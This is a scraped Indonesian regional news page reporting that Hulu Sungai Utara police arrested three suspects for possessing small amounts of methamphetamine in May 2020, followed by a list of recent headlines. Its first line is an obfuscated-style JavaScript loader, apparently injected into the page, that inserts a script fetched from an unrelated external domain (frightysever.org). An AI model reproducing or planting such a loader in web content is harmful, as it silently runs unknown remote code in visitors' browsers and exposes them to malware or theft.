(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL HSU

Sat Resnarkoba Polres HSU Ringkus 3 Tersangka Sabu, 2 di Antaranya Asal HSS


KANALKALIMANTAN.COM, AMUNTAI – Sat Resnarkoba Polres Hulu Sungai Utara (HSU) kembali meringkus tiga terduga pemilik sabu di dua tempat berbeda pada Rabu (6/5/2020). Ketiga tersangka tersebut yakni AR (32) yang diringkus di kawasan Jalan Bhiman Villa, Kelurahan Antasari, Kota Amuntai dengan barang bukti 3 paket sabu seberat 0.61 gram atau berat bersih 0.16 gram. Dan dua tersangka lain yakni AB (42) dan MS (30) diringkus di kawasan Desa Babirik Hilir, Kecamantan Babirik, dengan barang bukti 3 paket sabu mencapai 0.47 gram atau berat bersih 0.17 gram.

Kapolres HSU AKBP Pipit Subiyanto melalui Kasat Resnarkoba Iptu Siswadi kepada kanalkalimantan.com, Jumat (8/5/2020) mengakui berhasil meringkus ketiga tersangka dari informasi masyarakat dan juga hasil dari program inovasi ‘HSU Bersinar’ atau Bersih dari Narkoba.

Menurut Siswadi, kendati ketiga tersangka diringkus hampir bersamaan dan semua merupakan pemain lama dalam bisnis haram tersebut, namun dari hasil penelusuran hanya AB dan MS saja yang ada keterkaitan jaringan. Sedangkan AR merupakan bagian dari jaringan lain. “Tersangka ke 2 dan 3 yang ada keterkaitan, semuanya pemain lama,” ujarnya.

Tiga tersangka yang ditangkap Satresnarkoba Polres HSU. foto: polres hsu

 

Saat ini pihaknya terus melakukan penyelidikan terkait asal narkoba. Dari informasi sementara, tersangka AR yang merupakan warga Desa Tambalangan  Kecamantan Amuntai Tengah ini ditangkap di sebuah rumah di Jl Bihman Villa RT 008, Kel. Antasari Kecamatan Amuntai Tengah.

Sedangkan tersangka AB dan MS yang diketahui merupakan warga Desa Baruh Kembang dan Desa Harukun Kecamantan Daha Utara Kabupaten Hulu Sungai Selatan (HSS) diringkus saat berada di pingir jalan Desa Babirik Hilir Rt.001 Kec.  Babirik Kabupaten HSU.

Atas temuan sejumlah barang bukti tersebut ditambah barang bukti lainnya seperti sepeda motor, uang tunai dan handphone milik tersangka, kini ke-tiganya terpaksa harus mendekam di tahanan Mapolres HSU guna menjalani proses lebih lanjut.

Ketiga tersangka juga bakal dijerat Pasal 114  Ayat ( 1 ) Atau 112  Ayat ( 1 ) UU RI No.35 Tahun 2009 Tentang Narkotika. (kanalkalimantan.com/dew)

Reporter : dew
Editor : cell

Al Ghifari

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

5 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

7 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

10 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

11 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

11 jam ago

This website uses cookies.